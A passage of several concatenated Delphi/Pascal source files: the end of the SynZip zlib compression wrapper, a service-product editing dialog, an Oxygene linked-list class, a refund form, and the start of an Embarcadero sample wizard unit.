{$L static\x86_64-win64\crc32.o}
{$L static\x86_64-win64\zutil.o}
{$endif USEZLIBSSE}
{$linklib ..\static\x86_64-win64\libmsvcrt.a}
{$endif}
function deflate(var strm: TZStream; flush: integer): integer; cdecl; external;
function deflateEnd(var strm: TZStream): integer; cdecl; external;
function inflate(var strm: TZStream; flush: integer): integer; cdecl; external;
function inflateEnd(var strm: TZStream): integer; cdecl; external;
function adler32(adler: TZCRC; buf: PAnsiChar; len: cardinal): TZCRC; cdecl; external;
function crc32(crc: TZCRC; buf: PAnsiChar; len: cardinal): TZCRC; cdecl; external;
function deflateInit_(var strm: TZStream; level: integer;
version: PAnsiChar; stream_size: integer): integer; cdecl; external;
function inflateInit_(var strm: TZStream;
version: PAnsiChar; stream_size: integer): integer; cdecl; external;
function deflateInit2_(var strm: TZStream;
level, method, windowBits, memLevel, strategy: integer;
version: PAnsiChar; stream_size: integer): integer; cdecl; external;
function inflateInit2_(var strm: TZStream; windowBits: integer;
version: PAnsiChar; stream_size: integer): integer; cdecl; external;
function get_crc_table: pointer; cdecl; external;
{$endif FPC}
{$endif USEINLINEASM}
{$endif USEPASZLIB}
{$endif USEEXTZLIB}
function compressBound(sourceLen: cardinal): cardinal;
begin
result := sourceLen + (sourceLen shr 12) + (sourceLen shr 14) + 11;
end;
function zlibAllocMem(AppData: Pointer; Items, Size: cardinal): Pointer; cdecl;
begin
Getmem(result,Items * Size);
end;
procedure zlibFreeMem(AppData, Block: Pointer); cdecl;
begin
FreeMem(Block);
end;
procedure StreamInit(var Stream: TZStream);
begin
fillchar(Stream,sizeof(Stream),0);
{$ifndef USEINLINEASM}
{$ifndef USEPASZLIB}
Stream.zalloc := @zlibAllocMem; // even under Linux, use program heap
Stream.zfree := @zlibFreeMem;
{$endif}
{$endif}
end;
function DeflateInit(var Stream: TZStream;
CompressionLevel: integer; ZlibFormat: Boolean): Boolean;
var Bits: integer;
begin
if ZlibFormat then
Bits := MAX_WBITS else
Bits := -MAX_WBITS;
result := deflateInit2_(Stream, CompressionLevel, Z_DEFLATED, Bits, DEF_MEM_LEVEL,
Z_DEFAULT_STRATEGY, ZLIB_VERSION, sizeof(Stream))>=0
end;
function Check(const Code: Integer; const ValidCodes: array of Integer;
const Context: string): integer;
var i: Integer;
begin
if Code=Z_MEM_ERROR then
OutOfMemoryError;
result := code;
for i := Low(ValidCodes) to High(ValidCodes) do
if ValidCodes[i]=Code then
Exit;
raise ESynZipException.CreateFmt('Error %d during %s process',[Code,Context]);
end;
function CompressString(const data: ZipString; failIfGrow: boolean = false;
CompressionLevel: integer=6) : ZipString;
var i1 : integer;
begin
result := '';
SetLength(result, 12 + (Int64(length(data)) * 11) div 10 + 12);
pInt64(result)^ := length(data);
PCardinalArray(result)^[2] := adler32(0, pointer(data), length(data));
i1 := CompressMem(pointer(data), @PByteArray(result)[12], length(data),
length(result) - 12, CompressionLevel);
if (i1 > 0) and ( (12 + i1 < length(data)) or not failIfGrow ) then
SetLength(result, 12 + i1)
else result := '';
end;
function UncompressString(const data: ZipString) : ZipString;
begin
result := '';
if Length(data) > 12 then begin
SetLength(result, PCardinal(data)^);
SetLength(result, UncompressMem(@PByteArray(data)[12], pointer(result),
length(data) - 12, length(result)));
if (result <> '') and
((Adler32(0, pointer(result), length(result))) <> PCardinalArray(data)^[2]) then
result := '';
end;
end;
function CompressMem(src, dst: pointer; srcLen, dstLen: integer;
CompressionLevel: integer=6; ZlibFormat: Boolean=false) : integer;
var strm: TZStream;
begin
StreamInit(strm);
strm.next_in := src;
strm.avail_in := srcLen;
strm.next_out := dst;
strm.avail_out := dstLen;
if DeflateInit(strm,CompressionLevel,ZlibFormat) then
try
Check(deflate(strm,Z_FINISH),[Z_STREAM_END,Z_OK],'CompressMem');
finally
deflateEnd(strm);
end;
result := strm.total_out;
end;
type
TTempBuf = record
buf: pointer;
temp: AnsiString;
buf128k: array[0..32767] of cardinal; // IIS allows 256KB of stack size -> 128KB
end;
procedure InitTempBuf(var tempbuf: TTempBuf; var TempBufSize: integer);
begin
if TempBufSize<=sizeof(tempbuf.buf128k) then begin
TempBufSize := sizeof(tempbuf.buf128k);
tempbuf.buf := @tempbuf.buf128k;
end else begin
SetLength(tempbuf.temp,TempBufSize);
tempbuf.buf := pointer(tempbuf.temp);
end;
end;
function CompressStream(src: pointer; srcLen: integer;
tmp: TStream; CompressionLevel: integer; ZlibFormat: Boolean;
TempBufSize: integer): cardinal;
var strm: TZStream;
code: integer;
temp: TTempBuf;
procedure FlushBuf;
var Count: integer;
begin
Count := TempBufSize - integer(strm.avail_out);
if Count=0 then exit;
tmp.WriteBuffer(temp.buf^,Count);
strm.next_out := temp.buf;
strm.avail_out := TempBufSize;
end;
begin
InitTempBuf(temp,TempBufSize);
StreamInit(strm);
strm.next_in := src;
strm.avail_in := srcLen;
strm.next_out := temp.buf;
strm.avail_out := TempBufSize;
if DeflateInit(strm,CompressionLevel,ZlibFormat) then
try
repeat
code := Check(deflate(strm, Z_FINISH),[Z_OK,Z_STREAM_END,Z_BUF_ERROR],'CompressStream');
FlushBuf;
until code=Z_STREAM_END;
FlushBuf;
finally
deflateEnd(strm);
end;
result := strm.total_out;
end;
function UnCompressMem(src, dst: pointer; srcLen, dstLen: integer;
ZlibFormat: Boolean) : integer;
var strm: TZStream;
Bits: integer;
begin
StreamInit(strm);
strm.next_in := src;
strm.avail_in := srcLen;
strm.next_out := dst;
strm.avail_out := dstLen;
if ZlibFormat then
Bits := MAX_WBITS else
Bits := -MAX_WBITS; // -MAX_WBITS -> no zLib header => .zip compatible !
if inflateInit2_(strm, Bits, ZLIB_VERSION, sizeof(strm))>=0 then
try
Check(inflate(strm, Z_FINISH),[Z_OK,Z_STREAM_END],'UnCompressMem');
finally
inflateEnd(strm);
end;
result := strm.total_out;
end;
function UnCompressStream(src: pointer; srcLen: integer; tmp: TStream;
checkCRC: PCardinal; ZlibFormat: Boolean; TempBufSize: integer): cardinal;
var strm: TZStream;
code, Bits: integer;
temp: TTempBuf;
procedure FlushBuf;
var Count: integer;
begin
Count := TempBufSize - integer(strm.avail_out);
if Count=0 then exit;
if CheckCRC<>nil then
CheckCRC^ := SynZip.crc32(CheckCRC^,temp.buf,Count);
if tmp<>nil then
tmp.WriteBuffer(temp.buf^,Count);
strm.next_out := temp.buf;
strm.avail_out := TempBufSize;
end;
begin
InitTempBuf(temp,TempBufSize);
StreamInit(strm);
strm.next_in := src;
strm.avail_in := srcLen;
strm.next_out := temp.buf;
strm.avail_out := TempBufSize;
if checkCRC<>nil then
CheckCRC^ := 0;
if ZlibFormat then
Bits := MAX_WBITS else
Bits := -MAX_WBITS; // -MAX_WBITS -> no zLib header => .zip compatible !
if inflateInit2_(strm, Bits, ZLIB_VERSION, sizeof(strm))>=0 then
try
repeat
code := Check(inflate(strm, Z_FINISH),[Z_OK,Z_STREAM_END,Z_BUF_ERROR],'UnCompressStream');
FlushBuf;
until code=Z_STREAM_END;
FlushBuf;
finally
inflateEnd(strm);
end;
result := strm.total_out;
end;
function UnCompressZipString(src: pointer; srcLen: integer; out data: ZipString;
checkCRC: PCardinal; ZlibFormat: Boolean; TempBufSize: integer): cardinal;
// result:=dstLen checkCRC(<>nil)^:=crc32 (if aStream=nil -> fast crc calc)
var strm: TZStream;
len, code, Bits: integer;
temp: TTempBuf;
procedure FlushBuf;
var Count: integer;
begin
Count := TempBufSize - integer(strm.avail_out);
if Count=0 then exit;
if CheckCRC<>nil then
CheckCRC^ := SynZip.crc32(CheckCRC^,temp.buf,Count);
SetLength(data,len+Count);
Move(temp.buf^,PByteArray(data)[len],Count);
inc(len,Count);
strm.next_out := temp.buf;
strm.avail_out := TempBufSize;
end;
begin
InitTempBuf(temp,TempBufSize);
len := 0;
StreamInit(strm);
strm.next_in := src;
strm.avail_in := srcLen;
strm.next_out := temp.buf;
strm.avail_out := TempBufSize;
if checkCRC<>nil then
CheckCRC^ := 0;
if ZlibFormat then
Bits := MAX_WBITS else
Bits := -MAX_WBITS; // -MAX_WBITS -> no zLib header => .zip compatible !
if inflateInit2_(strm, Bits, ZLIB_VERSION, sizeof(strm))>=0 then
try
repeat
code := Check(inflate(strm, Z_FINISH),[Z_OK,Z_STREAM_END,Z_BUF_ERROR],'UnCompressZipString');
FlushBuf;
until code=Z_STREAM_END;
FlushBuf;
finally
inflateEnd(strm);
end;
result := strm.total_out;
end;
const
HTTP_LEVEL = 1; // 6 is standard, but 1 is enough and faster
function CompressGZip(var DataRawByteString; Compress: boolean): AnsiString;
var L: integer;
P: PAnsiChar;
Data: ZipString absolute DataRawByteString;
begin
L := length(Data);
if Compress then begin
SetString(result,nil,L+128+L shr 3); // maximum possible memory required
P := pointer(result);
move(GZHEAD,P^,GZHEAD_SIZE);
inc(P,GZHEAD_SIZE);
inc(P,CompressMem(pointer(Data),P,L,length(result)-(GZHEAD_SIZE+8),HTTP_LEVEL));
PCardinal(P)^ := SynZip.crc32(0,pointer(Data),L);
inc(P,4);
PCardinal(P)^ := L;
inc(P,4);
SetString(Data,PAnsiChar(pointer(result)),P-pointer(result));
end else
Data := gzread(pointer(Data),length(Data));
result := 'gzip';
end;
procedure CompressInternal(var Data: ZipString; Compress, ZLib: boolean);
var tmp: ZipString;
DataLen: integer;
begin
tmp := Data;
DataLen := length(Data);
if Compress then begin
SetString(Data,nil,DataLen+256+DataLen shr 3); // max mem required
DataLen := CompressMem(pointer(tmp),pointer(Data),DataLen,length(Data),
HTTP_LEVEL,ZLib);
if DataLen<=0 then
Data := '' else
SetLength(Data,DataLen);
end else
UnCompressZipString(pointer(tmp),DataLen,Data,nil,ZLib,0);
end;
function CompressDeflate(var DataRawByteString; Compress: boolean): AnsiString;
var Data: ZipString absolute DataRawByteString;
begin
CompressInternal(Data,Compress,false);
result := 'deflate';
end;
function CompressZLib(var DataRawByteString; Compress: boolean): AnsiString;
var Data: ZipString absolute DataRawByteString;
begin
CompressInternal(Data,Compress,true);
result := 'zlib';
end;
{ TLocalFileHeader }
function TLocalFileHeader.LocalData: PAnsiChar;
begin
result := @Self;
inc(result,sizeof(TLocalFileHeader)+fileInfo.extraLen+fileInfo.nameLen);
end;
{ TFileHeader }
function TFileHeader.IsFolder: boolean;
begin
result := extFileAttr and $00000010<>0;
end;
procedure TFileHeader.Init;
begin
fillchar(self,sizeof(TFileHeader),0);
signature := ENTRY_SIGNATURE_INC; // +1 to avoid finding it in the exe
dec(signature);
madeBy := $14;
extFileAttr := $A0; // archive, normal
fileInfo.neededVersion := $14;
end;
{ TFileInfo }
function TFileInfo.AlgoID: integer;
// 1..15 (1=SynLZ e.g.) from flags bits 7..10
begin
// in PKware appnote, bits 7..10 of general purpose bit flag are not used
result := (flags shr 7) and 15; // proprietary flag for SynZipFiles.pas
end;
function TFileInfo.SameAs(aInfo: PFileInfo): boolean;
begin // tolerate a time change through a network: zcrc32 is accurate enough
if (zzipSize=0) or (aInfo.zzipSize=0) then
raise ESynZipException.Create('SameAs() with crc+sizes in "data descriptor"');
result := (zzipMethod=aInfo.zzipMethod) and (flags=aInfo.flags) and
(zzipSize=aInfo.zzipSize) and (zfullSize=aInfo.zfullSize) and (zcrc32=aInfo.zcrc32);
end;
procedure TFileInfo.SetAlgoID(Algorithm: integer);
begin
zzipMethod := Z_STORED; // file is stored, accorging to .ZIP standard
// in PKware appnote, bits 7..10 of general purpose bit flag are not used
flags := (flags and $F87F) or
(Algorithm and 15) shl 7; // proprietary flag for SynZipFiles.pas
end;
function TFileInfo.GetUTF8FileName: boolean;
begin // from PKware appnote, Bit 11: Language encoding flag (EFS)
result := (flags and (1 shl 11))<>0;
end;
procedure TFileInfo.SetUTF8FileName;
begin
flags := flags or (1 shl 11);
end;
procedure TFileInfo.UnSetUTF8FileName;
begin
flags := flags and not(1 shl 11);
end;
function CRC32string(const aString: ZipString): cardinal;
// crc32 is better than adler32 for short strings, and fast enough in zlib 1.2.5
begin
result := length(aString);
if result<>0 then
result := SynZip.crc32(0,pointer(aString),result);
end;
{ TSynZipCompressor }
constructor TSynZipCompressor.Create(outStream: TStream; CompressionLevel: Integer;
Format: TSynZipCompressorFormat = szcfRaw);
begin
fDestStream := outStream;
fGZFormat := (Format=szcfGZ);
if fGZFormat then
fDestStream.WriteBuffer(GZHEAD,GZHEAD_SIZE);
StreamInit(FStrm);
FStrm.next_out := @FBufferOut;
FStrm.avail_out := SizeOf(FBufferOut);
fInitialized := DeflateInit(FStrm,CompressionLevel,Format=szcfZip);
end;
procedure TSynZipCompressor.Flush;
begin
if FInitialized then begin
while (Check(deflate(FStrm, Z_FINISH),[Z_OK, Z_STREAM_END],'Flush')<>Z_STREAM_END) and
(FStrm.avail_out=0) do
FlushBufferOut;
FlushBufferOut;
end;
end;
destructor TSynZipCompressor.Destroy;
begin
if FInitialized then begin
Flush;
FStrm.next_out := nil;
FStrm.avail_out := 0;
deflateEnd(FStrm);
end;
if fGZFormat then begin
fDestStream.WriteBuffer(fCRC,4);
fDestStream.WriteBuffer(FStrm.total_in,4);
end;
inherited;
end;
function TSynZipCompressor.SizeIn: cardinal;
begin // FStrm.total_in may be integer, cardinal or ulong -> use function
result := FStrm.total_in;
end;
function TSynZipCompressor.SizeOut: cardinal;
begin // FStrm.total_out may be integer, cardinal or ulong -> use function
result := FStrm.total_out;
end;
function TSynZipCompressor.FlushBufferOut: integer;
begin
result := 0;
if not FInitialized then
exit;
if FStrm.avail_out < SizeOf(FBufferOut) then begin
result := SizeOf(FBufferOut) - FStrm.avail_out;
FDestStream.WriteBuffer(FBufferOut, result);
FStrm.next_out := @FBufferOut;
FStrm.avail_out := SizeOf(FBufferOut);
end;
end;
function TSynZipCompressor.Read(var Buffer; Count: Integer): Longint;
begin
assert(false);
result := 0;
end;
function TSynZipCompressor.Seek(Offset: Integer; Origin: Word): Longint;
begin
if not FInitialized then
result := 0 else
if (Offset = 0) and (Origin = soFromCurrent) then // for TStream.Position
result := FStrm.total_in else begin
result := 0;
assert((Offset = 0) and (Origin = soFromBeginning) and (FStrm.total_in = 0));
end;
end;
function TSynZipCompressor.Write(const Buffer; Count: Integer): Longint;
begin
if (self=nil) or not FInitialized or (Count<=0) then begin
result := 0;
exit;
end;
result := Count;
fCRC := SynZip.crc32(fCRC,@Buffer,Count);
FStrm.next_in := pointer(@Buffer);
FStrm.avail_in := Count;
while FStrm.avail_in > 0 do begin // compress pending data
if Check(deflate(FStrm, Z_NO_FLUSH), [Z_OK], 'Write')<>Z_OK then
raise ESynZipException.Create('ZCompress');
if FStrm.avail_out = 0 then
FlushBufferOut;
end;
FStrm.next_in := nil;
FStrm.avail_in := 0;
end;
{$ifdef USEINLINEASM}
{
Generate a table for a byte-wise 32-bit CRC calculation on the polynomial:
x^32+x^26+x^23+x^22+x^16+x^12+x^11+x^10+x^8+x^7+x^5+x^4+x^2+x+1.
Polynomials over GF(2) are represented in binary, one bit per coefficient,
with the lowest powers in the most significant bit. Then adding polynomials
is just exclusive-or, and multiplying a polynomial by x is a right shift by
one. If we call the above polynomial p, and represent a byte as the
polynomial q, also with the lowest power in the most significant bit (so the
byte 0xb1 is the polynomial x^7+x^3+x+1), then the CRC is (q*x^32) mod p,
where a mod b means the remainder after dividing a by b.
This calculation is done using the shift-register method of multiplying and
taking the remainder. The register is initialized to zero, and for each
incoming bit, x^32 is added mod p to the register if the bit is a one (where
x^32 mod p is p+x^32 = x^26+...+1), and the register is multiplied mod p by
x (which is shifting right by one and adding x^32 mod p if the bit shifted
out is a one). We start with the highest power (least significant bit) of
q and repeat for all eight bits of q.
The table is simply the CRC of all possible eight bit values. This is all
the information needed to generate CRC's on data a byte at a time for all
combinations of CRC register values and incoming bytes.
}
procedure InitCrc32Tab;
var i,n: integer;
crc: cardinal;
begin // this code size is only 105 bytes, generating 8 KB table content
for i := 0 to 255 do begin
crc := i;
for n := 1 to 8 do
if (crc and 1)<>0 then
// $edb88320 from polynomial p=(0,1,2,4,5,7,8,10,11,12,16,22,23,26)
crc := (crc shr 1) xor $edb88320 else
crc := crc shr 1;
crc32tab[0,i] := crc;
end;
{$ifdef BYFOUR}
for i := 0 to 255 do begin
crc := crc32tab[0,i];
for n := 1 to 7 do begin
crc := (crc shr 8) xor crc32tab[0,byte(crc)];
crc32tab[n,i] := crc;
end;
end;
{$endif}
end;
initialization
// crc32 tables content is created from code in initialization section below
// (save 8 KB of code size from standard crc32.obj, with no speed penalty)
InitCrc32Tab;
{$endif USEINLINEASM}
end.
|
unit ufrmDialogProdukJasa;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, uInterface, ufrmMasterDialog,
System.Actions, Vcl.ActnList, ufraFooterDialog3Button, Vcl.ExtCtrls,
cxGraphics, cxControls, cxLookAndFeels, cxLookAndFeelPainters, cxContainer,
cxEdit, cxTextEdit, cxMaskEdit, cxDropDownEdit, cxLookupEdit, cxDBLookupEdit,
cxDBExtLookupComboBox, Vcl.StdCtrls, uDXUtils, uDMClient, cxCurrencyEdit,
uModProdukJasa, uAppUtils, uConstanta, uModBarang, uModRefPajak, uModRekening;
type
TfrmDialogProdukJasa = class(TfrmMasterDialog, ICRUDAble) // tambahkan , ICRUDAble yak nanti
Panel1: TPanel;
lblCode: TLabel;
lblName: TLabel;
lblOwner: TLabel;
edtCode: TEdit;
edtName: TEdit;
edtOwner: TEdit;
Panel2: TPanel;
lblDefaultPrice: TLabel;
lblTipeBarang: TLabel;
chkBKP: TCheckBox;
cxLookUpTipeBarang: TcxExtLookupComboBox;
lblPajak: TLabel;
cxLookUpPajak: TcxExtLookupComboBox;
Panel3: TPanel;
cxLookupRekCredit: TcxExtLookupComboBox;
cxLookupRekDebet: TcxExtLookupComboBox;
lblRekCredit: TLabel;
lblRekDebet: TLabel;
crDefaultPrice: TcxCurrencyEdit;
procedure actDeleteExecute(Sender: TObject);
procedure actSaveExecute(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
FModProdukJasa: TModProdukJasa;
function GetModProdukJasa: TModProdukJasa;
procedure InitLookup;
procedure SimpanData;
function ValidateData: Boolean;
property ModProdukJasa: TModProdukJasa read GetModProdukJasa write
FModProdukJasa;
{ Private declarations }
public
procedure LoadData(ID: String);
{ Public declarations }
end;
var
frmDialogProdukJasa: TfrmDialogProdukJasa;
implementation
{$R *.dfm}
procedure TfrmDialogProdukJasa.actDeleteExecute(Sender: TObject);
begin
inherited;
if not TAppUtils.Confirm(CONF_VALIDATE_FOR_DELETE) then exit;
Try
DMCLient.CrudClient.DeleteFromDB(ModProdukJasa);
TAppUtils.Information(CONF_DELETE_SUCCESSFULLY);
Self.ModalResult:=mrOk;
except
TAppUtils.Error(ER_DELETE_FAILED);
raise;
End;
end;
procedure TfrmDialogProdukJasa.actSaveExecute(Sender: TObject);
begin
inherited;
if ValidateData then SimpanData;
end;
procedure TfrmDialogProdukJasa.FormCreate(Sender: TObject);
begin
inherited;
InitLookup;
end;
function TfrmDialogProdukJasa.GetModProdukJasa: TModProdukJasa;
begin
if not Assigned(FModProdukJasa) then
FModProdukJasa := TModProdukJasa.Create;
Result := FModProdukJasa;
end;
procedure TfrmDialogProdukJasa.InitLookup;
begin
cxLookUpTipeBarang.LoadFromDS(
DMClient.DSProviderClient.RefTipeBarang_GetDSLookup,
{id field} 'REF$TIPE_BARANG_ID', {display field} 'TPBRG_NAME',
['REF$TIPE_BARANG_ID']{hidden field}, self
);
cxLookUpPajak.LoadFromDS(
DMClient.DSProviderClient.RefPajak_GetDSLookup,
{id field} 'Ref$Pajak_ID', {display field} 'PJK_NAME',
['Ref$Pajak_ID'] {hidden field},self
);
cxLookupRekDebet.LoadFromDS(
DMClient.DSProviderClient.Rekening_GetDSLookup,
{id field} 'REKENING_ID', {display field} 'REK_NAME',
['REKENING_ID', 'REF$GRUP_REKENING_ID'] {hidden field},self
);
cxLookupRekDebet.SetMultiPurposeLookup; //biar bisa filter manual
cxLookupRekCredit.LoadFromDS(
DMClient.DSProviderClient.Rekening_GetDSLookup,
{id field} 'REKENING_ID', {display field} 'REK_NAME',
['REKENING_ID', 'REF$GRUP_REKENING_ID'] {hidden field},self
);
cxLookupRekDebet.SetMultiPurposeLookup; //biar bisa filter manual
end;
procedure TfrmDialogProdukJasa.LoadData(ID: String);
begin
if Assigned(FModProdukJasa) then FreeAndNil(FModProdukJasa);
FModProdukJasa := DMclient.CrudClient.Retrieve(TModProdukJasa.ClassName, ID) as TModProdukJasa;
// 1
edtCode.Text := ModProdukJasa.PROJAS_CODE;
edtName.Text := ModProdukJasa.PROJAS_NAME;
edtOwner.Text := ModProdukJasa.PROJAS_OWNER;
//2
chkBKP.Checked := ModProdukJasa.PROJAS_IS_BKP = 1;
crDefaultPrice.Value := ModProdukJasa.PROJAS_DEFAULT_PRICE;
cxLookUpTipeBarang.EditValue := ModProdukJasa.TIPE_BARANG.ID;
cxLookUpPajak.EditValue := ModProdukJasa.PAJAK.ID;
//3
cxLookupRekDebet.EditValue := ModProdukJasa.REKENING_ID_DEBET.ID;
cxLookupRekCredit.EditValue := ModProdukJasa.REKENING_ID_CREDIT.ID;
end;
procedure TfrmDialogProdukJasa.SimpanData;
begin
if not ValidateEmptyCtrl([1], True) then exit;
// 1
ModProdukJasa.PROJAS_CODE := edtCode.Text;
ModProdukJasa.PROJAS_NAME := edtName.Text;
ModProdukJasa.PROJAS_OWNER := edtOwner.Text;
//2
if chkBKP.Checked then
ModProdukJasa.PROJAS_IS_BKP := 1
else
ModProdukJasa.PROJAS_IS_BKP := 0;
ModProdukJasa.PROJAS_DEFAULT_PRICE := crDefaultPrice.Value;
ModProdukJasa.TIPE_BARANG := TModTipeBarang.CreateID(cxLookUpTipeBarang.EditValue);
ModProdukJasa.PAJAK := TModRefPajak.CreateID(cxLookUpPajak.EditValue);
//3
ModProdukJasa.REKENING_ID_DEBET := TModRekening.CreateID(cxLookupRekDebet.EditValue);
ModProdukJasa.REKENING_ID_CREDIT := TModRekening.CreateID(cxLookupRekCredit.EditValue);
try
DMClient.CrudClient.SaveToDB(ModProdukJasa);
TAppUtils.Information(CONF_ADD_SUCCESSFULLY);
self.ModalResult:=mrOk;
except
TAppUtils.Error(ER_INSERT_FAILED);
raise;
end;
end;
function TfrmDialogProdukJasa.ValidateData: Boolean;
begin
Result := False;
//validasi tipe barang
if VarIsNull(cxLookUpTipeBarang.EditValue) then
begin
TAppUtils.Warning('Tipe barang harus diisi');
exit;
end;
//validasi pajak
if VarIsNull(cxLookUpPajak.EditValue) then
begin
TAppUtils.Warning('Pajak harus diisi');
exit;
end;
//validasi akun debet
if VarIsNull(cxLookupRekDebet.EditValue) then
begin
TAppUtils.Warning('Rek Debet harus diisi');
exit;
end;
//validasi akun kredit
if VarIsNull(cxLookupRekCredit.EditValue) then
begin
TAppUtils.Warning('Rek Credit harus diisi');
exit;
end;
Result := True;
end;
end.
|
namespace LinkedList;
interface
uses
System.Text;
type
List<T> = public class
where T is Object;
private
method AppendToString(aBuilder: StringBuilder);
public
constructor(aData: T);
constructor(aData: T; aNext: List<T>);
property Next: List<T>;
property Data: T;
method ToString: String; override;
end;
implementation
constructor List<T>(aData: T);
begin
Data := aData;
end;
constructor List<T>(aData: T; aNext: List<T>);
begin
constructor(aData);
Next := aNext;
end;
method List<T>.ToString: string;
begin
with lBuilder := new StringBuilder do begin
AppendToString(lBuilder);
result := lBuilder.ToString();
end;
end;
method List<T>.AppendToString(aBuilder: StringBuilder);
begin
if assigned(Data) then
aBuilder.Append(Data.ToString)
else
aBuilder.Append('nil');
if assigned(Next) then begin
aBuilder.Append(', ');
Next.AppendToString(aBuilder);
end;
end;
end. |
unit RefundByItemWithoutInvoiceView;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, cxControls, cxContainer, cxEdit, cxRadioGroup,
cxLookAndFeelPainters, StdCtrls, cxButtons, DbClient;
type
TfrmRefundByItemWithoutInvoiceView = class(TForm)
selectAction: TcxRadioGroup;
cancelAction: TcxButton;
applyAction: TcxButton;
itemMessage: TStaticText;
procedure applyActionClick(Sender: TObject);
procedure cancelActionClick(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
private
{ Private declarations }
FrefundComplete: Boolean;
itemRefund: TClientDataSet;
idPreInventoryMov: Integer;
procedure openDatasetRefundByItem(arg_itemToRefund: String);
procedure prepareItemMessage(arg_model: TclientDataset);
procedure showFormLikeModalForm();
procedure sendToShelf();
procedure sendToVendor();
procedure closeForm();
procedure cancelForm();
procedure setMessage(arg_message: String);
public
{ Public declarations }
function startView(arg_ItemRefund: Integer): Boolean;
function isRefundComplete(): Boolean;
procedure setRefundComplete(arg_isComplete: Boolean);
end;
var
frmRefundByItemWithoutInvoiceView: TfrmRefundByItemWithoutInvoiceView;
implementation
uses uDM, SendToVendorView;
{$R *.dfm}
{ TfrmRefundByItemWithoutInvoiceView }
function TfrmRefundByItemWithoutInvoiceView.startView(arg_ItemRefund: Integer): Boolean;
begin
// Antonio June 20, 2013
itemRefund := dm.getOnePreInventoryMov(arg_itemRefund);
prepareItemMessage(itemRefund);
showFormLikeModalForm();
end;
procedure TfrmRefundByItemWithoutInvoiceView.applyActionClick(
Sender: TObject);
begin
try
if ( selectAction.ItemIndex = 0 ) then
sendToShelf
else
sendToVendor;
closeForm();
except on e: Exception do
raise Exception.Create('Error when tried apply selection: ' + e.Message);
end;
end;
procedure TfrmRefundByItemWithoutInvoiceView.sendToShelf;
begin
(*
try
itemRefund.edit;
itemRefund.fieldByname('TotqtyOnHand').value := itemRefund.fieldByname('TotqtyOnHand').value + 1;
dm.updateModelAddQuantityOnHand(itemRefund);
application.MessageBox('Sent to shelf successfully', 'Send to Shelf', mb_ok + mb_IconExclamation);
except on e: Exception do
raise Exception.Create('Error to send to shelf: ' + e.Message);
end;
*)
setRefundComplete(true);
end;
procedure TfrmRefundByItemWithoutInvoiceView.sendToVendor;
var
view: TfrmSendToVendorView;
begin
try
view := TfrmSendToVendorView.Create(nil);
// Antonio June 20, 2013 - fix send to vendor
view.startView(itemRefund);
close;
setRefundComplete(true);
finally
freeAndNil(view);
end;
end;
procedure TfrmRefundByItemWithoutInvoiceView.cancelActionClick(
Sender: TObject);
begin
setRefundComplete(false);
cancelForm();
end;
procedure TfrmRefundByItemWithoutInvoiceView.cancelForm;
begin
ModalResult := mrCancel;
end;
procedure TfrmRefundByItemWithoutInvoiceView.closeForm;
begin
modalResult := mrOK;
close;
end;
procedure TfrmRefundByItemWithoutInvoiceView.setMessage(
arg_message: String);
begin
itemMessage.Caption := arg_message;
end;
procedure TfrmRefundByItemWithoutInvoiceView.prepareItemMessage(arg_model: TClientDataset);
begin
setMessage(arg_model.fieldByName('model').AsString + ' - ' + arg_model.fieldByName('description').AsString);
end;
procedure TfrmRefundByItemWithoutInvoiceView.showFormLikeModalForm;
begin
showModal;
end;
procedure TfrmRefundByItemWithoutInvoiceView.openDatasetRefundByItem(arg_itemToRefund: String);
begin
itemRefund := dm.searchModel(arg_itemToRefund);
end;
procedure TfrmRefundByItemWithoutInvoiceView.FormClose(Sender: TObject;
var Action: TCloseAction);
begin
freeAndNil(itemRefund);
end;
function TfrmRefundByItemWithoutInvoiceView.isRefundComplete: Boolean;
begin
result := FRefundComplete;
end;
procedure TfrmRefundByItemWithoutInvoiceView.setRefundComplete(
arg_isComplete: Boolean);
begin
FRefundComplete := arg_isComplete;
end;
end.
|
//---------------------------------------------------------------------------
// This software is Copyright (c) 2011 Embarcadero Technologies, Inc.
// You may only use this software if you are an authorized licensee
// of Delphi, C++Builder or RAD Studio (Embarcadero Products).
// This software is considered a Redistributable as defined under
// the software license agreement that comes with the Embarcadero Products
// and is subject to that software license agreement.
//---------------------------------------------------------------------------
// Manage list of project features
unit SampleExpertsFeatures;
interface
uses
SysUtils, Classes, SampleExpertTypes, WizardAPI, ExpertsUIWizard;
type
TFeatureDescription = record
Group: TFeature;
Feature: TFeature;
Name: string;
Description: string;
ApplicationTypes: TSampleApplicationTypes;
end;
const FFeatureDescriptions: array[0..4] of TFeatureDescription =
((Group: feFiles; Feature: feNone; Name: 'Files'; Description: 'Files description'; ApplicationTypes: [appVCL, appConsole]),
(Group: feFiles; Feature: feUnit; Name: 'Unit'; Description: 'Unit description'; ApplicationTypes: [appVCL, appConsole]),
(Group: feFiles; Feature: feForm; Name: 'Form'; Description: 'Form description'; ApplicationTypes: [appVCL]),
(Group: feFiles; Feature: feDataModule; Name: 'DataModule'; Description: 'DataModule description'; ApplicationTypes: [appVCL, appConsole]),
(Group: feFiles; Feature: feTextFile; Name: 'Text File'; Description: 'Text File description'; ApplicationTypes: [appVCL, appConsole])
);
procedure AddFeature(AFeaturesPage: TCustomExpertsFeaturesWizardPage; AFeatureDescription: TFeatureDescription);
procedure EnumFeatures(AFilter: TFunc<TFeatureDescription, Boolean>; AEnum: TProc<TFeatureDescription>);
procedure EnumApplicationFeatures(AType: TSampleApplicationType; AEnum: TProc<TFeatureDescription>);
procedure CheckFeature(AFeaturesPage: TCustomExpertsFeaturesWizardPage; AFeature: TFeature; AChecked: Boolean);
procedure CheckFeatures(AFeaturesPage: TCustomExpertsFeaturesWizardPage; AType: TSampleApplicationType; AFeatures: TFeatures);
procedure AddFeatures(AFeaturesPage: TCustomExpertsFeaturesWizardPage; AType: TSampleApplicationType);
procedure UpdateFeatures(AFeaturesPage: TCustomExpertsFeaturesWizardPage; AType: TSampleApplicationType;
var AFeatures: TFeatures);
implementation
procedure AddFeature(AFeaturesPage: TCustomExpertsFeaturesWizardPage; AFeatureDescription: TFeatureDescription);
begin
if AFeatureDescription.Feature = feNone then
with AFeatureDescription do
